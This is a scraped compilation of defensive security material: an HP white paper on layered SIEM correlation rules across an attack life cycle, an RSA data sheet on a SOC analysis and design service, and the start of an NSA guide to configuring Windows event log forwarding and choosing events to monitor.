As described, a number of use cases will supply a short list of potential events of interest. If the same host has been listed numerous times in a short list with indicators of compromise, an incident will be generated T he incidents are indicated by the grey lines in the diagram and the light blue global correlation rules section. Specific events of interest with a high degree of certainty, such as alerts from host malware software, would raise incident alerts as indicate d in the diagram. Technical white paper | HP Attack Life Cycle use case methodology 8 When an incident is raised on a host, the host will be added to the compromised host list. This allows the security operations team to quickly understand if a compromised host has multiple indicators of compromise throughout the attack li fe cycle rather than just looking at events in isolation. The short lists can also be quickly reviewed to understand if there are additional compromise indicators to provide a better understanding of the scale of the incident to help inform and action the triage and mitigation steps. Example 2: HP Attack Life Cycle Reusable Use Cases This example shows how the use cases from example 1 can be reused throughout the attack life cycle stages and applied to other applicable threat vectors. This example will focus on a perimeter threat as the threat vector which will have the largest changes in the use cases for reconnaissance, anomaly communications, and the atta ck delivery attack life cycle stages. These are indicated by the red box in the diagram below. The example reuses all other use cases from example 1 and adds in a few use cases to other stages of the attack life cycle to align them to the new threat vector. Technical white paper | HP Attack Life Cycle use case methodology 9 Threat / Business Risk: Perimeter attacks to DMZ hosts. Summary of Risk: The business has been made aware of a risk to DMZ security as discovered through a number of penetration test reports. The risk indicates that there is an inherent weakness in segregation of DMZ hosts meaning a compromise from one host machine in the corporate DMZ which is a low value asset maybe used to gain access to a higher value assets through lateral movement. The risk mitigations should make use of a layered security approach where high value assets make use of more security controls and the low value assets have less security controls addressing the cost of implementation. The business is looking for a solution making use of their SIEM technology and security operations department to mitigate the risk to an acceptable level without spending additional money on security controls for the lower value assets. Controls in the DMZ that can be used by all assets include firewall , intrusion prevention system and antivirus as a minimum set of controls. Use Case Examples Attack life cycle Stage : Reconnaissance or anomaly communications from an external source to target host(s). Define the following rules to shortlist events of interest: - i. Rule 1 : Add source IP address of hosts that attempt that attempt to make TCP / UDP connections that are defined as packet anomalies such as SYN , ACK , FIN packets to the suspicious IP address short list. These events would appear at both the firewall and Intrusion Prevention System. ii. Rule 2 : Add source IP of hosts that perform a network scan IP address to the suspicious IP address short list. These events would appear at both the firewall and Intrusion Prevention System. iii. Rule 3 : If the source IP address is a known bad IP address from our threat intelligence active list and attempts to make a connection to a DMZ asset raise an event of interest and add this IP address to suspicious IP address short list. iv. Global rule: if an IP address appears on suspicious IP address short list more than once add this source IP address to threat intelligence active list. Note: The suspicious IP address short list will have a short term time to live for source IP address values and the intelligence active list is a long term active list that helps filter false positives. Attack life cycle Stage : Attack Delivery. Define the following rules to shortlist events of interest: - i. Rule 1 : add the source IP address of the host that “attempts” to exploit a system to the suspicious IP address short list. These events would appear from the Intrusion Prevention System. Note attempt indicates the IPS has taken action to stop the attempt to explo it a system. We add the IP address to the suspicious IP address short list as the first event from the IPS may be a false positive. ii. Rule 2 : Raise an alert if the source IP address of the host that attempts to exploit a system that is considered a sensi tive or a priority asset in our asset model. Add the source IP address to the suspicious IP address short list. We add the IP address to the suspicious IP address short list as the first event from the IPS may be a false positive. However we raise an alert as the asset is considered of a high enough priority to be investigated as a priority using manual human analytics. iii. Rule 3 : Raise an alert if the source IP address attempts to exploit a host that has a known vulnerability. Add the source IP address t o the threat intelligence active list. Add the destination host asset IP address to the compromised host list. iv. Global rule : if an IP address appears on suspicious IP address short list more than once add this source IP address to threat intelligence ac tive list. Attack life cycle Stage : Stage and Exfiltration. For this specific attack life cycle phase to add the following rules: Rule 1 : If our firewall or Netflow detects outbound communication to an IP address that is on the threat intelligence active list raise and alert and add the source host IP address to the compromised list. All other rules from example 1 are still applicable as indicators of compromise to this use case and there are changes to reflect the attack vectors as indicated in the diagram . Technical white paper | HP Attack Life Cycle use case methodology 10 Summary Benefits of a attack life cycle There are many benefits to using a attack life cycle approach versus standalone use cases. The examples shown previously demonstrate that developing use cases to layer events using the HP Attack Life Cycle metho dology provide benefits in the areas of: Defined Threat Coverage Defining the use case coverage of threat vectors and ensuring a layered security approach makes use of a security in -depth strategy as opposed to the traditional practice of defining use case rules for standalone events. Reduction of false positive Trusting single events from point solutions such as intrusion prevention systems is prone to false positives and can cause large overhead for human analytics. Relaying on events from other solutions such as antivirus or anti -malware software can limit the information reaching the security operations regarding the initial attack vector. Making use of the HP Attack Life Cycle methodology allows for false positive reduction and enhanced situational awareness of events from point solution by continuously evalua ting ongoing events of other indicators of compromise throughout the attack life cycle . Providing greater coverage over false negatives Applying the HP Attack Life Cycle Chain methodology allows the SIEM to further correlate and post- correlate events via r ules throughout the life cycle . This allows for inclusion of events into use cases that would otherwise be ignored by security operations due to their volume and potentially false positive nature. Missing events of interes t is known as false negatives. False negative reduction provides a huge value to situational awareness of both automated and manual analytics, both pre - and post -incident. Technical white paper | HP Attack Life Cycle use case methodology Sign up for updates hp.com/go/getupdated Share with colleagues Rate this document © Copyright 201 3-2014 Hewlett -Packard Development Company, L.P. The information contained herein is subject to change without notice. The only warranties for HP products and services are set forth in the express warranty statements accompanying such products and servi ces. Noth ing herein should be construed as constituting an additional warranty. HP shall not be liable for technical or editorial errors or omissions co ntained herein. 4AA4 -9490ENW, March 201 4, Rev. 2 Enhanced situational awareness—Events of interest versus actionable incidents Making use of the HP Attack Life Cycle methodology to raise events of interest as incidents but also to further filter events and define IP addresses and compromise values in shortlist (Active Lists) provides significant enhancements to situational awareness allows the security operations team to respond faster to security incidents throughout the attack life cycle as part of the triage and CIRT response. Enhanced Situation awareness —Event visualization to aid in human analytics The two examples in this white paper demonstrated how to use shor t lists with contextualized information to make better use of visualization tools to aid in analytics. Shortlist 1 was created to filter events that would otherwise be ignored: users opening emails that are potentially dangerous from untrusted email sender s. The values shortlisted would be: From an analytics perspective, this information is valuable for reporting and dashboard s as well as for ev ent graphs. Visualizations and reports could show how many people received an attachment named x.y.z and even though only one recipients may have opened the attachment, others may have received it. This intelligence allows the security operations team to take informed action to notify the other recipients to not open the email attachment or to allow the emails with this attachment to be delete d on behalf of the recipients. It also allows for the black listing of sender email addresses to stop further attack s originating from this sender. Enhanced situational awareness—Provide Metrics and Continuous Improvement of Threat Actors Making use of the HP Attack Life Cycle methodology allows for the reporting on key threat actors in a specific risk domain for an organization to better understand if the security controls in a particular area are performing per the risk needs. It also allows for the focus and investment of ti me in a specific area of concern for continuous use ca se improvement in a structured and informed manner. In example 1, if a number of phishing emails containing harmful attachments have managed to route through the email gateway without being quarantined, and at the same time we see the desktop antivirus and malware software is detecting these harmful attachments, it allows for the quantitative analysis of the performance of the email gateway as a security control. This is achieved by comparing the shortli st (active list) of filtered events. Provide Reusable Use Cases in the Attack Life Cycle Phases As demonstrated in example 2, the HP Attack Life Cycle allows for the reuse of use case rules from different stages of the attack life cycle across multiple ris ks. This positions each of the attack life cycle phases as a compensating security control that can be measured across a risk framework. The additional benefits of renewable use cases helps save time and research in evolving use case rules for new threat vectors with a reduced overhead of time and resources. Learn more at hp.com/go/espservices --- ## Source: https://montance.com/questions.php?id=88 [![pdf](content/images/icons/pdf.svg) HP - Kill Chain Use Case.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgTjVRNFFQVXRZYjg/view?usp=sharing) HP Kill Chain Use Case Use case definition for detecting kill chain activity. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the 'HP Attack Life Cycle'? A: A modified Kill Chain model. * Q: What is 'Reconnaissance'? A: Gathering info on the target. * Q: What is 'Weaponization'? A: Creating the exploit. * Q: What is 'Delivery'? A: Sending the exploit to the target. * Q: What is 'Exploitation'? A: Triggering the vulnerability. * Q: What is 'Installation'? A: Installing malware/backdoor. * Q: What is 'C2'? A: Command and Control. * Q: What is 'Actions on Objectives'? A: Stealing data or causing damage. * Q: What is 'Lateral Movement'? A: Moving between systems. * Q: What is 'Persistence'? A: maintaining access. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgX3ctZXFKN1JuekE/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgX3ctZXFKN1JuekE/view?usp=sharing]** Companies today face opposing challenges as they secure their operations and information from risk. On one side,threats are increasing, as are the sophistication of attacks.On the other side are today’s economic realities; budgetsare shrinking, resources are constrained and the costs ofmanaging a security incident larger than ever. An advanced security operations function centers upon processes that, on a daily basis, enable an organization tomore effectively protect critical resources and ensurecompliance through incident detection, response and keyremediation activities. Specifically: – Thoughtful identification and development of a comprehensive security operations program – Effective design of a security ope rations system that centers upon integrated use of SIEM, DLP & threat intelligencetechnologies and systems. – Integration with service management and network operations technologies such as service desk, change and configurationmanagement, and operational frameworks such as ITIL.– Creation of a sustainable framework for long term security and information risk management With an advanced security operations function established, organizations will have the processes and capabilities inplace to effectively initiate a comprehensive informationrisk management program. Security Operations Analysis and Design This consultative and advisory service provides a broad-based analysis of security operations requirements andcurrent state capabilities, and recommends a solutiondesign to meet specific security operations and incidentmanagement objectives. It also includes an incidenthandling framework and next steps for the development ofappropriate operational and management policies andprocedures. The Security Operations Analysis and Designservice can establish your baseline for advanced securityoperations and can also be the first step towards a moreadvanced security operations program, or securityoperations center (SOC) set of capabilities. Based on an analysis of the business, and the operational and technical requirements for an overall incident handlingand data loss prevention capability, this engagementincludes four primary components: – A high level review of the business requirements to support a security operations function – A detailed review of the technical and operational requirements to support a security operations function, inparticular the security information and event management(SIEM) and data loss prevention (DLP) requirements as thecore security technologies within the SOC – Reference architectures for the RSA enVision ®platform and RSA®Data Loss Prev ention solutions to meet prescribed requirements – Incident handling framework and next steps for more comprehensive solution design and operations planning. At a Glance – Establishes a plan for the implementation or enhancement of security operations capabilitiesand procedures, spanning business, technical andoperational domains – Provides an overall desi gn, centered on SIEM and DLP , as well as an Incident Handling framework. – Based on best practices and proven deployment methodologies and standards such as ISO, SANS and NIST. – Leverages RSA’s real world customer experience, as well as EMC’s global Critical Incident Response Team Security Operat ions Analysis & Design Service Advancing Your Security Operations CapabilityServices Data Sheet Phase 1: Solution Strategy – Pre-site kick off outlining strategy, objectives and engagement planning – On-site workshop based analysis of security operations requirements, as defined by Business, Operational andTechnical needs – Identification of event sources and data for monitoring– Walk through of incident handling process Phase 2: Solution Design – Development of the technical solution design based on the requirements – Identification of security event sources, data protection requirements, configuration, event volumes andperformance, and storage requirements – Development of appropriate SIEM and DLP solution configurations Phase 3: Review of Preliminary Solution Analysis & Design Report Phase 4: Final Report and PresentationScope and Approach The growth in sophistication of hacker attacks and insider risk is driving organizations to tackle information riskexposure more aggressively. Th is is testing the traditional view of security operations – limited primarily to securityevent collection and analysis – and broadening the scope ofsecurity operations. An advanced capability today needs to span the monitoring and protect ion of sensitive information, as well as the infrastructure it may reside on or may traverseacross, and be capable of monitoring and reportinginformation security risks from various sources across theenterprise. In response to this need, RSA Professional Services has developed the Security Oper ations An alysis and Design Service, which takes a broad view to span every aspect ofadvancing a customer’s security operations’ function – fromrequirements gath ering and anal ysis thro ugh the design of an appropriate solution, roadmap and set of incidentresponse framework. The scope and approach to delivering this service involves the following four phases: ©2009 RSA Security Inc. All Rights Reserved. RSA, RSA Security and the RSA logo are either registered trademarks or trademarks ofRSA Security Inc. in the United States and/or other countries. EMC is a registeredtrademark of EMC Corporation. All other products and services mentioned aretrademarks of their respective companies. SOCOD DS 1009 RSA Professional Services offers a suite of consulting and advisory services which address the requirements of any company seeking to advance their Security Operations function.Strategy & Assessment Accelerate capabilities basedon business objectives andbest practices. – Leverages library of use cases – Best practices, proven deploymentmethodologies andstandardsManagement Develop or optimize operational aspects of aSecurity Operations or IncidentHandling function. – Establishes policies, procedures, guidelines and documentation – Operational run books and workflow based onestablished best practicesfor security and data center operationsAnalysis and Design A broad requirements analysis and recommended design foreffective security operationsand incident management. – Requirements analysis: business, technical,operational – Recommended design and deployment roadmap basedupon RSA technology (SIEM,DLP as core) – Reference architecture and Incident Handling frameworkBusiness Operations Domain Platform ComponentMetrics & MeasurementFunctional UseBusiness OperationPersonnel ProceduresIncident ManagementFacility IT SecurityInfrastructure Security Operations FrameworkRSA Professional Services --- ## Source: https://montance.com/questions.php?id=87 [![pdf](content/images/icons/pdf.svg) RSA - SOC Ops Analysis & Design Service.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgX3ctZXFKN1JuekE/view?usp=sharing) RSA SOC Ops Analysis & Design Service Resource covering SOC titled 'RSA SOC Ops Analysis & Design Service'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgSFBPUmprWVZDbDQ/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgSFBPUmprWVZDbDQ/view?usp=sharing]** A product of the Network Components and Applications Division TSA-13-1004-SG National Security Agency/C entral Security Service Information Assurance Directorate December 16 th, 2013 Revision 2Spotting the Adversary with Windows Event Log Monitoring i Contents 1 Introduction ................................................................................................................ .......................... 1 2 Deployment................................................................................................................... ........................ 1 2.1 Ensuring Integrity of Event Logs .............................................................................................. ..................... 2 2.2 Environment Requirements ...................................................................................................... ................... 3 2.3 Log Aggregation on Windows Server 2008 R2 ..................................................................................... ........ 4 2.4 Configuring Source Computer Policies .......................................................................................... ............... 9 2.5 Disabling Windows Remote Shell ................................................................................................ ............... 15 2.6 Firewall Modification ......................................................................................................... ........................ 15 2.7 Restricting WinRM Access ...................................................................................................... .................... 18 2.8 Disabling WinRM and Windows Collector Service ................................................................................. .... 19 3 Hardening Event Collection................................................................................................... .............. 20 3.1 WinRM Authentication Hardening Methods ........................................................................................ ..... 20 3.2 Secure Sockets Layer and WinRM ................................................................................................ .............. 24 4 Recommended Events to Collect ............................................................................................... ......... 24 4.1 Application Whitelisting ...................................................................................................... ....................... 25 4.2 Application Crashes ........................................................................................................... ......................... 25 4.3 System or Service Failures .................................................................................................... ...................... 25 4.4 Windows Update Errors ......................................................................................................... .................... 26 4.5 Windows Firewall .............................................................................................................. ......................... 26 4.6 Clearing Event Logs ........................................................................................................... ......................... 26 4.7 Software and Servic e Installation ............................................................................................. .................. 27 4.8 Account Usage ................................................................................................................. .......................... 27 4.9 Kernel Driver Signing ......................................................................................................... ......................... 28 4.10 Group Policy Errors ........................................................................................................... ......................... 29 4.11 Windows Defender Activities ................................................................................................... .................. 29 4.12 Mobile Device Activities ...................................................................................................... ....................... 30 4.13 External Media Detection ...................................................................................................... .................... 31 4.14 Printing Services ............................................................................................................. ............................ 32 4.15 Pass the Hash Detection........................................................................................................ ..................... 32 4.16 Remote Desktop Logon Detection ................................................................................................ ............. 33 5 Event Log Retention ......................................................................................................... ................... 34 6 Final Recommendations........................................................................................................ .............. 35 7 Appendix .................................................................................................................... ......................... 35 7.1 Subscriptions ................................................................................................................. ............................. 35 7.2 Event ID Definitions .......................................................................................................... .......................... 37 7.3 Windows Remote Management Versions............................................................................................. ..... 38 7.4 WinRM 2.0 Configuration Settings .............................................................................................. ............... 40 7.5 WinRM Registry Keys and Values ................................................................................................ ............... 43 7.6 Troubleshooting ............................................................................................................... .......................... 44 8 Works Cited ................................................................................................................. ........................ 48 ii List of Figures Figure 1: Creating a Subscription ............................................................................................. ..................... 6 Figure 2: Configuring Subs cription Properties ................................................................................. ............. 6 Figure 3: Event Delivery Op timization Configuration ........................................................................... ........ 7 Figure 4: Complete d Subscription .............................................................................................. ................... 7 Figure 5: Event Source GPO .................................................................................................... .................... 10 Figure 6: Enabling Windows Remote Management .................................................................................. . 11 Figure 7: Setting Se rvice Startup Type ........................................................................................ ................ 11 Figure 8: Enabling WinRM listeners ............................................................................................ ................ 11 Figure 9: WinRM listener' s IP Filter Options .................................................................................. ............. 11 Figure 10: Enable SubscriptionManager ......................................................................................... ............ 12 Figure 11: Configuration of SubscriptionManager ............................................................................... ...... 13 Figure 12: GPO Inbound Firewall Rules.......................................................................................... ............. 17 Figure 13: Open Ports for WinRM ............................................................................................... ................ 17 Figure 14: Allow Any Connection to Port ....................................................................................... ............. 17 Figure 15: Verify Fi rewalls are Enabled ....................................................................................... ................ 17 Figure 16: Predefined Rule for WinRM 2.0 ...................................................................................... ........... 18 Figure 17: Adding Sele ctive IP addresses ...................................................................................... .............. 18 Figure 18: Add IP of Event Collector .......................................................................................... ................. 18 Figure 19: The Event Collector Firewall allowing Local subnet to Connect ................................................ 19 Figure 20: Event Viewer Subs cription Creati on Error ........................................................................... ...... 19 Figure 21: WinRM Service Au thentication Policies .............................................................................. ....... 21 Figure 22: WinRM Client Au thentication Policies ............................................................................... ........ 21 List of Tables Table 1: Vista and above Events ............................................................................................... .................... 8 Table 2: Whilelisting Events .................................................................................................. ...................... 25 Table 3: Application Events ................................................................................................... ...................... 25 Table 4: System Events ........................................................................................................ ....................... 25 Table 5: Windows Upda te Failed Events.......................................................................................... ........... 26 Table 6: Firewall Events ...................................................................................................... ........................ 26 Table 7: Log Activity Events .................................................................................................. ...................... 26 Table 8: Software a nd Service Events .......................................................................................... ............... 27 Table 9: Account Ac tivity Events .............................................................................................. ................... 28 Table 10: Kernel Driver Signing Events ........................................................................................ ............... 29 Table 11: Group Policy Errors Events ......................................................................................... ................ 29 Table 12: Windows Defender Activities Events .................................................................................. ........ 30 Table 13: Mobility related Events ............................................................................................. .................. 31 Table 14: External Media Detection Events ..................................................................................... ........... 31 Table 15: Printing Services Events ............................................................................................ .................. 32 Table 16: Subscription XML Description ........................................................................................ ............. 37 Table 17: WinRM Version Correlation ........................................................................................... ............. 39 Table 18: WinRM Version Update URLs ........................................................................................... ........... 39 Table 19: Protocol Settings ................................................................................................... ...................... 41 Table 20: WinRM Client Configuration .......................................................................................... ............. 41 Table 21: WinRM Service ....................................................................................................... ..................... 42 Table 22: WinRS Configuration Settings ........................................................................................ ............. 43 Table 23: WinRM, WinRS, WSMAN and Event Forwarding Registry Values ............................................... 43 iii Table 24: XPath Errors based on OS Version .................................................................................... .......... 48 iv Disclaimer This Guide is provided "as is." Any express or implied warranties, including but not limited to, the implied warranties of merchantability and fitness for a particular purpose are disclaimed. In no event shall the United States Government be liable for any direct, indirect, incidental, special, exemplary or consequential damages (including, but not limited to, procurement of substitute goods or services, loss of use, data or profits, or business interruption) ho wever caused and on any theory of liability, whether in contract, strict liability, or tort (including negligen ce or otherwise) arising in any way out of the use of this Guide, even if advised of the possibility of such damage. The User of this Guide agrees to hold harmless and indemnify the United States Government, its agents and employees from every claim or liability (whether in tort or in contract), including attorneys' fees, court costs, and expenses, arising in direct consequence of Recipient's use of the item, including, but not limited to, claims or liabilities made for injury to or death of personnel of User or third parties, damage to or destruction of property of User or third parties, and infringement or other violations of intellectual property or technical data rights. Nothing in this Guide is intended to constitute an endorsement, explicit or implied, by the U.S. Government of any particular manufacturer's product or service. Trademark Information This publication has not been authorized, sponsored, or otherwise approved by Microsoft Corporation. Microsoft®, Windows®, Windows Server®, Windows Vista®, Active Directory®, Windows PowerShell TM, AppLocker®, Excel® are either registered trademarks or trademarks of Microsoft Corporation in the United States and other countries. This publication has not been authorized, sponsored, or otherwise approved by Bluetooth SIG. Bluetooth® is either registered trademarks or trademarks of Bluetooth SIG in the United States and other countries. This publication has not been authorized, sponsored, or otherwise approved by USB Implementers Forum, Inc. USB® is either registered trademarks or trademarks of USB Implementers Forum, Inc. in the United States and other countries. 1 1I n t r o d u c t i o n It is increasingly difficult to detect malicious acti vity, which makes it extremely important to monitor and collect log data from as many useful sources as possible. This paper provides an introduction to collecting important Windows workstation event logs a nd storing them in a central location for easier searching and monitoring of network health. The focus of this guidance document is to assist United States Government and Department of Defense administrators in configuring central event log collection and recommend a basic set of events to collect on an enterprise network using Group Policy. This paper focuses on using the built-in tools already available in the Microsoft Windows operating system (OS). Central event log collection requires a Windows Server operating system version 2003 R2 or above. Many commercially available tools exist for central event log collection. Using a Windows Server 2008 R2 or above server version is recommended. There are no additional licensing costs for using the event log collection feature. The cost of using this feature is based on the amount of additional storage hardware needed to support the amount of log data collected. This factor is dependent on the number of workstations within the local log collection network. Windows includes monitoring and logging capabilities a nd logs data for many activities occurring within the operating system. The vast number of events which can be logged does not make it easy for an administrator to identify specific important events. This document defines a recommended set of events to collect and review on a frequent basis. The recommended set of events is common to both client and server versions of Windows. Product specific events, such as Microsoft Exchange or Internet Information Services (IIS), are not discussed in this document, but should be centrally collected and reviewed as well. This guidance document is broken into three main parts. The first part, Deployment, focuses on configuring and deploying central log collection; the second part, Hardening Event Collection, concentrates on security hardening; the last section, Recommended Events to Collect, describes recommended events that should be collected. If a third party commercial product is already being used within an organization to centrally collect events, then skip ahead to the Recommended Events to Collect section. Review the recommended events and ensure they are being collected. During the development of this guide, testing was conducted using Windows 7 running Windows Remote Management (WinRM) 2.0. A Windows 8 client with WinRM 3.0 was tested as well. Windows Server 2008 R2 was used as the central event collection server. Configuration of Windows Server 2012 should work identically to Windows Server 2008 R2, but was not tested for this guide. 2 Deployment The Windows Collector service can centrally collec t specific events from domain and non-domain computers for viewing on a single computer. The Event Forwarding feature of the Windows Collector Service can retrieve or receive events from remote computers. Event Forwarding can operate as Collector-Initiated (pull) or Source-Initiated (push), respectively. The server archiving the events is a 2 collector and the remote computer, where events are collected from, is the source. A Source-Initiated subscription has an advantage of not requiring the collector to know all the computer names of the remote machines connecting to the service a priori, whereas a Collector-Initiated subscription requires the aforementioned information, which is harder to maintain. The Windows Collector service uses Microsoft’s implementation of Web Services-Management (WS-Management, WS-Man) Protocol to communicate between sources and collectors. [1] This guide will discuss conf iguring event forwarding in domain environments only. 2.1 Ensuring Integrity of Event Logs Prior to installing and using the WinRM feature, so me precautionary measures should be implemented. Although no software can guarantee an attacker could never modify event logs or prevent the recording of event data, an Access Control List (ACL) can be used to protect Windows events logs against accidental tampering. The Windows operating system uses permissions to ensure that certain log files are not modified by a normal user, members of an unprivileged group or members of a privileged group. The Defense Information Systems Agency (DISA) Security Technical Implementation Guides (STIG) recommends that an Information Assurance Officer (IAO) create an auditor’s group and grant members of the group full permissions. If there is no IAO, it is still advised fo r a system administrator to create an auditor’s group. The Administrators group’s privileges must be reduced from Full to Read and Execute permissions for the Application, System and Security log files. [2] [3] This single defense can be circumvented in multiple ways so; a defense in depth approach should be taken. This guide does not discuss site specific auditor’s group for WinRM purposes beyond this section. The use of WinRM does not require or involve an auditor’s group. The auditor’s group is used to regulate who is permitted to operate on an event log file. Windows Vista and later created an Event Log Readers group whose purpose is to regulate access to the local event logs remotely. [16] [4] Several domain policies can be enabled to enforce restrictions of users and groups accessing event logs locally. DISA STIGs recommend enabling the Manage auditing and security log policy and configuring the policy for the auditor’s group. [2] [3] The policy is located under Computer Configuration > Policies > Windows Settings > Local Policies > User Rights Assignment . This policy creates a whitelist of users or groups who can access the audit log (security log). Enabling this policy does not affect WinRM operations. A policy, named Generate security audits , can be used to create a whitelist of users or groups permitted to write to the audit log. The policy is located under Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assignment . Only allow Local Service and Network Service as these are the default values of the policy. [2][3] 1 http://technet.microsoft.com/en-us/library/cc774957(v=ws.10).aspx 2 DISA STIG: Windows Server 2008 R2 Member Se rver Security Technical Implementation Guide Version 1. Group ID (Vulid): V-1077, V -1137, V- 26496, V-26489 3 DISA STIG: Windows 7 Security Technical Implementation Guid e Version 1. Group ID (Vulid): V-1077, V-1137, V-26496, V-26489 4 http://blogs.technet.com/b/janelewis/archive/2010/04/30/giving-non-administrators-permission-to-read-event-logs-windows-2003-a nd- windows-2008.aspx 3 Administrators can use the Enhanced Mitigation Experience Toolkit (EMET) to heighten the security defense of machines and applications used in a network. [5] EMET provides the ability to enable and enforce specific enhanced security features for the operating system and applications. The WinRM service is hosted by svchost.exe (service host). Th e service host executable should have all security features enabled for an application. Enabling EMET for svchost.exe on Windows 7 does not prevent WinRM from working correctly. Using EMET on a de fault installation of Windows will not prevent the operating system from performing specific operations. However, site-specific software needs to be first tested with EMET to ensure compatibility. Recording users or groups accessing event log files (.ev tx) is critical and aids in quickly identifying who touched the file. The logging of file access on event log files is not enabled by default and requires additional setup. Audit File System policy must be enabled and have Success selected to provide useful information. This will allow logging of file system events. The event log file must include the users or groups that will be audited (e.g., Everyone or Domain Users group) in the Auditing tab of the Advanced option under Security (available in the properties options of th e file). Auditing critical files and the operations performed on them increases the va lue of detecting tampering of the log file. Using a dedicated server whose primary role is an event collector is recommended. There should be no additional roles tasked to the event collector. Deploying an event collector on a new and clean dedicated system helps protect it from having been previously compromised or infected with malware. 2.2 Environment Requirements Windows Remote Management is available in multiple versions. The recommended minimal version of WinRM is 2.0. WinRM 2.0 is installed by default with Windows 7 and Windows Server 2008 R2. Additional updates are needed for Windows XP SP3 and Windows Vista to use WinRM 2.0. This guide focuses solely on Windows 7 and above. WinRM 2.0 is part of the Windows Management Framework core package. The KB968930 [6] update installs PowerShell 2.0 along with WinRM 2.0. This update requires the machine to have .NET Framework 2.0 SP1 or later to install PowerShell. The complete list of applicable Windows operating systems versions and the download location for the updates can be found in the Windows Remote Management Versions section of the appendix. WinRM 3.0 is the latest current version, as of this writing, and is only supported on Windows 7 SP1 and above, Windows Server 2008 R2 SP1, Windows Server 2008 SP2. [7] This document provides guidance for an environm ent using three roles in the domain: the domain controller, the event collector, and the event sources. All policies configured through Active Directory are restricted to computer groups, rather than the default Authenticated Users group, for Group Policy Object (GPO) security filtering. Th e domain controller, collector, and ea ch source in the domain should have the latest updates from Microsoft. 5 https://www.microsoft.com/en-us/download/details.aspx?id=29851 6 http://support.microsoft.com/kb/KB968930 7 http://www.microsoft.com/en-us/download/details.aspx?id=34595 4 2.3 Log Aggregation on Windows Server 2008 R2 A single dedicated server should have the role of event collector in a local network. Isolation of the event collector avoids confusion, frustration of tro ubleshooting, and security related concerns. Source- Initiated subscriptions can be configured for clients to be in the same or different domain of the collector. The focus of this guidance document is to use Source-Initiated subscriptions, where the collector and sources are in the same domain, and configuring of the event collector is completed locally. Event collector capabilities can be configured via the GPO as well. Utilizing GPO configuration for the event collector will result in the Windows Event Collector service not being properly configured for using subscriptions. Locally configuring the event collector is recommended. The proceeding sections cover local configuration of WinRM and the Windows Event Collection service on the collector. 2.3.1 Locally Configuring Collector Settings The event collector system needs to be configured to automatically start the Windows Event Collector and Windows Remote Management services. Enabling these services sets the startup type to Automatic (Delay Start). The services will be started after other auto-start services are started plus a short delay. [8] The Windows Remote Management and Windows Event Collector services are automatically configured when using the quickconfig option (discussed in next section). Configuration of the collector can be completed by a domain administrator or a built-in administrator account. The recommendation is to use a domain administrator account for configuration purposes only. It is required that the local administrator and the domain administrator do not have a blank password for WinRM configuration. 2.3.1.1 Enabling Windows Remote Management The WinRM command-line tool provides an option to automatically configure WinRM. The quick configure (qc) option starts the WinRM service, configures the service to be Delay-Start, creates a listener using any IP address, and enables a firewall exception for WinRM. [9] The port used by WinRM depends on the installed version of WinRM. Port 5985 is used by WinRM 2.0 and above whereas port 80 is used by versions of WinRM prior to 2.0. To configure WinRM, open a command console with administrator privileges and type: winrm qc Enter y to have the service status changed to Delay-Start. As an alternative option, all prompts can be suppressed by supplying the –q (quiet) option. Enter y to the create a listener prompt. An Access Denied error may appear when attempting to use quickconfig. A possible reason for this error is the account executing the WinRM command does not have the proper permissions. If the account is a member of the local administrator group, then User Account Control (UAC) filtering prevents access to the WinRM service. [10] An account with administrator privile ges is required. Log in as a Domain Administrator account or a built-in administrator and repeat the quickconfig command. 2.3.1.2 Enabling Windows Event Collector The Windows Event Collector service offers a quick configure (qc) option similar to WinRM’s quick configure option. Windows Event Collector service’s quick configure option sets the service startup type 8 http://msdn.microsoft.com/en-us/library/windows/desktop/ms685155(v=vs.85).aspx 9 winrm qc -? 10 http://msdn.microsoft.com/en-us/library/aa384423.aspx 5 to Delay-Start and enables the ForwardedEvents channel. [11] The quick configure option is only available for Windows Vista and above. To configure the Windows Event Collector Service: wecutil qc Enter y to have the service started and the status changed to Delay-Start. Similar to the WinRM command line, all prompts can be suppressed by the /q:true option. 2.3.1.3 Creating Event Subscriptions Subscriptions are used to organize event collection and where the events come from. An administrator can have custom subscriptions to tailor event logs to easily identify inte resting events. A custom subscription can be created by using the Graphical User Interface (GUI) or from the command line. This section will demonstrate creating an example event subscription to collect events from clients’ Application and System logs. It is not recommended to deploy this example on a production server as a large amount of unimportant will be captured. Cu stom subscriptions provided in this guidance document are discussed in the next section and in the appendix. The event viewer, shown in Figure 1, allows the configuration of a subscription. Subscriptions can be configured to specify the destinat ion of received events, the computer groups being collected, the event’s ID, and the frequency of event collection. Each subscription can be configured in the Subscription Properties window shown in Figure 2. The Event Viewer console should be opened with administrator privileges. To create a subscription: 1. Open Event Viewer (eventvwr.exe) 2. Select Create Subscription… from the Actions panel 3. Provide a Subscription name 4. Select the Source computer initiated option 5. Select Computer Groups… button oClick the Add Domain Computers… button and enter the group name EventSource oClick Check Names and verify the group name is correct oClick OK 6. Click OK 11 wecutil qc -? 6 Figure 1: Creating a Subscription Figure 2: Configuring Subscription Properties If an error message box appears stating “ the type initializer for ‘AdvanceSettings’ threw an exception ”, then the current account does not have the correct permissions. Collected Events are stored at a local predefined log location under the Destination log drop-down list. The default is Forwarded Events . In the Query Filter window, displayed by clicking the Select Events button, a variety of events can be chosen for collection based on the event level, orig ination of log, and event source. Once the setup of filtering events is completed, the XML view of the selected events can be viewed in the XML tab. It is possible to edit the XML manually by selecting Edit query manually checkbox. 7. Click the Select Events… button 8. Select Event Level options and select all levels 9. Select By Log 10. From the drop-down list select… a. Windows Logs > Application b. Windows Logs > System 11. Click the OK button The remaining configuration options do not need to be customized as the default setting will collect all events, keywords, task category, and from all users and computers. 